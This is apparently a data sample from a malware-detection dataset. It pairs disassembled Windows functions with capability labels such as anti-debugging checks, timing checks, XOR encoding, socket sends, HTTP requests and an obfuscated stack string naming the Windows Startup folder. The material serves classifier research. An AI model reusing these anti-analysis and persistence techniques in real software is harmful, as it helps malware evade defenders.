joyce8/EMBER2024-capa huggingface dataset:
Function at 0x442ee0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x4833d3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.004768ac
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], method.CBrush.virtual_0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
mov ecx, edi
call fcn.0047bf47
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.0047d463
test eax, eax
je 0x442ffc
mov ecx, dword [esp + 0x3c]
call fcn.0047bf74
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x442fc0
push edi
mov ecx, esi
call fcn.004795d6
mov ecx, esi
call fcn.004431a0
cmp dword [esp + 0x38], 1
jne 0x442ff5
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.00479711
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x4451e0
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x445213
push esi
call fcn.00453580
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x44520c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x445299
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x445282
mov eax, dword [esi + 8]
test eax, eax
je 0x445237
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x44527e
cmp eax, 2
je 0x445282
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x44522a
cmp eax, 3
je 0x44525d
cmp eax, 1
jne 0x44522a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x44522a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x44522a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.004452c0
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x4452a8
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.004452c0
add esp, 4
pop esi
ret

Function at 0x445b30
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x445b51
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x445b51
mov eax, dword [eax + 0x44]
test eax, eax
je 0x445b51
mov edx, dword [esp + 8]
push edx
push eax
call ecx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x460900
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x460966
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x460966
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x460947
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret

Function at 0x460cf0
Capabilities:
Create http request

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x460d28
mov edx, dword [esi + 4]
xor eax, eax
push 0
push 0
mov ecx, dword [edx - 8]
test ecx, ecx
setne al
mov ecx, eax
neg ecx
sbb ecx, ecx
and ecx, edx
neg eax
sbb eax, eax
push ecx
and eax, 2
inc eax
push eax
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.0_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esi], eax
mov ecx, dword [esi]
xor eax, eax
test ecx, ecx
setne al
pop esi
ret
Function at 0x461a50
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x461a99
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x461f10
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x483960
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.00461ac0
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.00461b40
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.00461b40
lea ecx, [esi + 0xc]
call fcn.00475285
lea ecx, [esi + 0x10]
call fcn.00475285
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.004630d0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.004630d0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.004630d0
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.004752fa
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.004752fa
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x4776a1
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4776d9
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00475755
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0047572d
jmp 0x4776e5
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x478d93
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x478dd5
call fcn.0047eb09
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x478dd5
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x478dcc
xor eax, eax
jmp 0x478ddd
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00478de3
pop edi
pop esi
pop ebx
ret 4

Function at 0x47f039
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x47f067
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x47f085
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0047ef9f
jmp 0x47f085
mov eax, dword [esi + 0x14]
test eax, eax
je 0x47f085
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0047ef9f
test edi, edi
mov eax, edi
jne 0x47f06f
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x1000cd50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1008f180]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
xor edx, edx
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x10], ecx
mov esi, dword [edi]
lea eax, [esi*4]
test eax, eax
je 0x1000cd9c
mov ebx, dword [ebp + 8]
sub ebx, ecx
mov al, byte [ecx + ebx]
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
inc edx
mov esi, dword [edi]
lea eax, [esi*4]
cmp edx, eax
jb 0x1000cd82
mov ecx, dword [ebp - 0x10]
lea edi, [esi*4]
mov esi, dword [ebp - 0x18]
mov eax, dword [esi + 4]
inc eax
shl eax, 4
cmp edi, eax
jae 0x1000cee5
lea eax, [edi - 3]
add eax, ecx
mov bh, byte [eax]
nop dword [eax]
mov cl, byte [eax + 1]
xor edx, edx
mov ch, byte [eax + 2]
mov bl, byte [eax - 1]
mov dword [ebp - 0x1c], eax
mov eax, edi
shr eax, 2
div dword [esi]
mov byte [ebp - 8], bl
mov eax, edx
mov byte [ebp - 7], bh
mov byte [ebp - 0xa], cl
mov byte [ebp - 6], cl
mov byte [ebp - 9], ch
mov byte [ebp - 5], ch
test eax, eax
jne 0x1000ce47
lea eax, [ebp - 8]
mov byte [ebp - 8], bh
push eax
mov byte [ebp - 7], cl
mov byte [ebp - 6], ch
mov byte [ebp - 5], bl
call fcn.1000ccc0
mov eax, dword [esi]
xor edx, edx
mov cl, 1
lea esi, [eax*4]
mov eax, edi
div esi
mov esi, eax
sub esi, 1
je 0x1000ce34
nop word [eax + eax]
mov dl, cl
add cl, cl
shr dl, 7
movzx eax, dl
imul eax, eax, 0x1b
xor cl, al
sub esi, 1
jne 0x1000ce20
mov bl, byte [ebp - 8]
mov dh, byte [ebp - 5]
xor bl, cl
mov dl, byte [ebp - 6]
mov bh, byte [ebp - 7]
mov esi, dword [ebp - 0x18]
jmp 0x1000ce70
mov edx, dword [esi]
cmp edx, 6
jbe 0x1000ce6a
cmp eax, 4
jne 0x1000ce6a
lea eax, [ebp - 8]
push eax
call fcn.1000ccc0
mov dh, byte [ebp - 5]
mov dl, byte [ebp - 6]
mov bh, byte [ebp - 7]
mov bl, byte [ebp - 8]
jmp 0x1000ce70
mov dh, byte [ebp - 9]
mov dl, byte [ebp - 0xa]
mov eax, dword [esi]
mov ecx, dword [ebp - 0x10]
shl eax, 2
sub ecx, eax
movzx eax, byte [ecx + edi]
mov ecx, dword [ebp - 0x1c]
xor al, bl
mov byte [ecx + 3], al
mov ecx, dword [esi]
mov eax, dword [ebp - 0x10]
shl ecx, 2
sub eax, ecx
mov al, byte [eax + edi + 1]
xor al, bh
mov ebx, dword [ebp - 0x1c]
mov byte [ebx + 4], al
lea ecx, [ebx + 4]
mov byte [ebp - 9], al
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], ecx
mov ecx, dword [esi]
shl ecx, 2
sub eax, ecx
movzx eax, byte [eax + edi + 2]
xor al, dl
mov byte [ebx + 5], al
mov ecx, dword [esi]
mov eax, dword [ebp - 0x10]
shl ecx, 2
sub eax, ecx
movzx eax, byte [eax + edi + 3]
add edi, 4
xor al, dh
mov byte [ebx + 6], al
mov eax, dword [esi + 4]
mov bh, byte [ebp - 9]
inc eax
shl eax, 4
cmp edi, eax
mov eax, dword [ebp - 0x14]
jb 0x1000cdc0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1004d713
mov esp, ebp
pop ebp
ret 8
Function at 0x1000e530
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006cd3b
mov eax, dword fs:[0]
push eax
sub esp, 0x8c
mov eax, dword [0x1008f180]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov ebx, ecx
mov edi, dword [ebp + 8]
lea esi, [ebx + 0x50]
push esi
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x40], esi
call fcn.1004ab43
add esp, 4
test eax, eax
jne 0x1000e6e1
mov eax, dword [esi + 0x2c]
cmp eax, 0x7fffffff
je 0x1000e6e8
mov dword [ebp - 4], 0
mov byte [ebp - 4], 1
cmp byte [ebx + 0x25], 0
je 0x1000e76f
cmp dword [ebx + 0x34], 0xffffffff
je 0x1000e76f
mov edx, dword [edi + 0x10]
test edx, edx
je 0x1000e76f
lea ecx, [ebp - 0x2c]
call fcn.100167c0
mov byte [ebp - 4], 3
lea eax, [ebp - 0x2c]
cmp dword [ebp - 0x18], 0xf
push 0
cmova eax, dword [ebp - 0x2c]
push 0x10
push eax
push dword [ebx + 0x34]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x1000e6f3
mov eax, dword [ebp - 0x30]
mov edx, 0x2000
xor edi, edi
mov dword [ebp - 0x38], edx
mov ecx, dword [eax + 0x10]
mov dword [ebp - 0x3c], ecx
nop dword [eax + eax]
cmp edi, ecx
jge 0x1000e63d
sub ecx, edi
cmp edx, ecx
mov edx, eax
cmovl ecx, dword [ebp - 0x38]
cmp dword [eax + 0x14], 0xf
jbe 0x1000e616
mov edx, dword [eax]
push 0
push ecx
lea eax, [edx + edi]
push eax
push dword [ebx + 0x34]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x1000e722
mov ecx, dword [ebp - 0x3c]
add edi, eax
mov eax, dword [ebp - 0x30]
mov edx, 0x2000
jmp 0x1000e600
mov ecx, dword [ebp - 0x18]
cmp ecx, 0xf
jbe 0x1000e6ba
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000e667
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000e76a
push ecx
push edx
call fcn.1004d752
add esp, 8
jmp 0x1000e6ba
push esi
call fcn.1004ab54
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1004d713
mov esp, ebp
pop ebp
ret 4
push 5
call fcn.1004ba0c
dec eax
push 6
mov dword [esi + 0x2c], eax
call fcn.1004ba0c
mov byte [ebx + 0x25], 0
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea ecx, [ebp - 0x7c]
call fcn.100167c0
push eax
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 4
call fcn.100171c0
push 0x100880c0
lea eax, [ebp - 0x4c]
push eax
call fcn.1004eeb0
mov byte [ebx + 0x25], 0
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea ecx, [ebp - 0x7c]
call fcn.100167c0
push 0x1007d468
mov edx, eax
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x94]
call fcn.10011610
add esp, 4
push eax
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 6
call fcn.100171c0
push 0x100880c0
lea eax, [ebp - 0x58]
push eax
call fcn.1004eeb0
call fcn.1005260f
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea ecx, [ebp - 0x94]
call fcn.100167c0
push eax
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 2
call fcn.100171c0
push 0x100880c0
lea eax, [ebp - 0x64]
push eax
call fcn.1004eeb0
int3
Function at 0x1000edf0
Capabilities:
Create tcp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x19c
mov eax, dword [0x1008f180]
xor eax, esp
mov dword [esp + 0x198], eax
push esi
push 0x190
lea eax, [esp + 0xc]
mov esi, ecx
push 0
push eax
call fcn.1004f4a0
add esp, 0xc
lea eax, [esp + 8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x1000ee5e
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0x34], eax
cmp eax, 0xffffffff
je 0x1000ee5e
mov al, 1
pop esi
mov ecx, dword [esp + 0x198]
xor ecx, esp
call fcn.1004d713
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x25], 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi + 0x28], eax
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [esp + 0x19c]
xor al, al
pop esi
xor ecx, esp
call fcn.1004d713
mov esp, ebp
pop ebp
ret
Function at 0x100178d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006dbed
mov eax, dword fs:[0]
push eax
sub esp, 0x58
mov eax, dword [0x1008f180]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xorps xmm0, xmm0
mov dword [ebp - 0x54], 0
movups xmmword [ebp - 0x64], xmm0
mov dword [ebp - 0x50], 0xf
mov byte [ebp - 0x64], 0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x40]
lea edi, [ebp - 0x12]
mov dword [ebp - 0x40], 0x63694d5c
mov dword [ebp - 0x3c], 0x6f736f72
mov dword [ebp - 0x38], 0x575c7466
mov dword [ebp - 0x34], 0x6f646e69
mov dword [ebp - 0x30], 0x535c7377
mov dword [ebp - 0x2c], 0x74726174
mov dword [ebp - 0x28], 0x6e654d20
mov dword [ebp - 0x24], 0x72505c75
mov dword [ebp - 0x20], 0x6172676f
mov dword [ebp - 0x1c], 0x535c736d
mov dword [ebp - 0x18], 0x74726174
mov word [ebp - 0x14], 0x7075
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0
sub edi, eax
je 0x100179b8
cmp edi, 0x7fffffff
ja 0x10017a75
push edi
lea ecx, [ebp - 0x4c]
call fcn.1000d700
mov esi, dword [ebp - 0x4c]
lea eax, [ebp - 0x40]
push edi
push eax
push esi
call fcn.1004ef20
lea eax, [edi + esi]
add esp, 0xc
mov dword [ebp - 0x48], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
push ecx
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 2
call fcn.10033460
mov ecx, dword [ebp - 0x4c]
test ecx, ecx
je 0x10017a2a
mov edx, dword [ebp - 0x44]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x10017a0b
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10017a7a
push edx
push ecx
call fcn.1004d752
add esp, 8
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0
mov ecx, dword [ebp - 0x50]
cmp ecx, 0xf
jbe 0x10017a5a
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10017a50
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10017a7a
push ecx
push edx
call fcn.1004d752
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1004d713
mov esp, ebp
pop ebp
ret
call fcn.1000d6f0
call fcn.1005260f
int3
Function at 0x10018770
Capabilities:
Access peb ldr_data
Convert ip address from string
Create raw socket
Create tcp socket
Create thread
Create udp socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006dcf6
mov eax, dword fs:[0]
push eax
sub esp, 0x48
mov eax, dword [0x1008f180]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x24], esi
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov dword [ebp - 4], 0
movq qword [esi + 0x28], xmm0
movups xmmword [esi + 0x34], xmm0
mov dword [esi + 0x44], 0
mov dword [esi + 0x48], 0xf
mov byte [esi + 0x34], 0
lea eax, [esi + 0x4c]
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
movups xmmword [eax + 0xc], xmm0
push 2
movq qword [eax + 0x1c], xmm0
mov dword [eax + 0x24], 0
push eax
mov dword [eax + 0x28], 0
mov dword [eax + 0x2c], 0
call fcn.1004ab27
add esp, 8
push 6
push 1
push 2
mov byte [ebp - 4], 3
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0x30], eax
cmp eax, 0xffffffff
je 0x10018965
mov eax, 2
mov ecx, 0x10092b18
mov word [esi + 0x88], ax
lea eax, [esi + 0x8c]
cmp dword [0x10092b2c], 0xf
push eax
cmova ecx, dword [0x10092b18]
push ecx
push 2
call dword [sym.imp.WS2_32.dll_inet_pton]
cmp dword [0x10092b44], 0xf
mov eax, 0x10092b30
cmova eax, dword [0x10092b30]
push eax
call fcn.100550c1
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov ecx, esi
mov word [esi + 0x8a], ax
call fcn.10018c40
test al, al
jne 0x100188d6
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea ecx, [ebp - 0x54]
call fcn.1000daf0
push eax
mov edx, str.error_in_connect_and_authenticate
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x3c]
call fcn.1000d470
add esp, 4
mov byte [ebp - 4], 7
jmp 0x100189a1
push 8
mov byte [esi + 0x19], 1
mov dword [esi + 0x7c], 0x10
mov dword [esi + 0x80], 0
mov dword [esi + 0x20], 0
call fcn.1004d760
mov dword [ebp - 0x14], eax
mov dword [eax], esi
mov dword [eax + 4], 0x100190d0
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 8
push ecx
push 0
push eax
push 0x100191e0
push 0
push 0
call fcn.100554c4
add esp, 0x1c
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x10018957
cmp dword [esi + 0x2c], 0
jne 0x100189b8
mov ecx, dword [ebp - 0x18]
mov dword [esi + 0x28], eax
mov eax, esi
mov dword [esi + 0x2c], ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1004d713
mov esp, ebp
pop ebp
ret
push 6
mov dword [ebp - 0x18], 0
call fcn.1004ba0c
mov byte [esi + 0x19], 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi + 0x1c], eax
call dword [sym.imp.WS2_32.dll_WSACleanup]
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea ecx, [ebp - 0x3c]
call fcn.100167c0
push eax
mov edx, str.error_in_CREATE
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x54]
call fcn.1000d470
add esp, 4
mov byte [ebp - 4], 5
push eax
lea ecx, [ebp - 0x20]
call fcn.100171c0
push 0x100880c0
lea eax, [ebp - 0x20]
push eax
call fcn.1004eeb0
call fcn.10054491
int3
Function at 0x100189c0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006dd5b
mov eax, dword fs:[0]
push eax
sub esp, 0x8c
mov eax, dword [0x1008f180]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov ebx, ecx
mov edi, dword [ebp + 8]
lea esi, [ebx + 0x4c]
push esi
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x40], esi
call fcn.1004ab43
add esp, 4
test eax, eax
jne 0x10018b71
mov eax, dword [esi + 0x2c]
cmp eax, 0x7fffffff
je 0x10018b78
mov dword [ebp - 4], 0
mov byte [ebp - 4], 1
cmp byte [ebx + 0x19], 0
je 0x10018bff
cmp dword [ebx + 0x30], 0xffffffff
je 0x10018bff
mov edx, dword [edi + 0x10]
test edx, edx
je 0x10018bff
lea ecx, [ebp - 0x2c]
call fcn.100167c0
mov byte [ebp - 4], 3
lea eax, [ebp - 0x2c]
cmp dword [ebp - 0x18], 0xf
push 0
cmova eax, dword [ebp - 0x2c]
push 0x10
push eax
push dword [ebx + 0x30]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x10018b83
mov eax, dword [ebp - 0x30]
mov edx, 0x2000
xor edi, edi
mov dword [ebp - 0x38], edx
mov ecx, dword [eax + 0x10]
mov dword [ebp - 0x3c], ecx
nop dword [eax + eax]
cmp edi, ecx
jge 0x10018acd
sub ecx, edi
cmp edx, ecx
mov edx, eax
cmovl ecx, dword [ebp - 0x38]
cmp dword [eax + 0x14], 0xf
jbe 0x10018aa6
mov edx, dword [eax]
push 0
push ecx
lea eax, [edx + edi]
push eax
push dword [ebx + 0x30]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x10018bb2
mov ecx, dword [ebp - 0x3c]
add edi, eax
mov eax, dword [ebp - 0x30]
mov edx, 0x2000
jmp 0x10018a90
mov ecx, dword [ebp - 0x18]
cmp ecx, 0xf
jbe 0x10018b4a
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10018af7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10018bfa
push ecx
push edx
call fcn.1004d752
add esp, 8
jmp 0x10018b4a
push esi
call fcn.1004ab54
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1004d713
mov esp, ebp
pop ebp
ret 4
push 5
call fcn.1004ba0c
dec eax
push 6
mov dword [esi + 0x2c], eax
call fcn.1004ba0c
mov byte [ebx + 0x19], 0
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea ecx, [ebp - 0x7c]
call fcn.100167c0
push eax
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 4
call fcn.100171c0
push 0x100880c0
lea eax, [ebp - 0x4c]
push eax
call fcn.1004eeb0
mov byte [ebx + 0x19], 0
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea ecx, [ebp - 0x7c]
call fcn.100167c0
push 0x1007d807
mov edx, eax
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x94]
call fcn.10011610
add esp, 4
push eax
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 6
call fcn.100171c0
push 0x100880c0
lea eax, [ebp - 0x58]
push eax
call fcn.1004eeb0
call fcn.1005260f
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea ecx, [ebp - 0x94]
call fcn.100167c0
push eax
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 2
call fcn.100171c0
push 0x100880c0
lea eax, [ebp - 0x64]
push eax
call fcn.1004eeb0
int3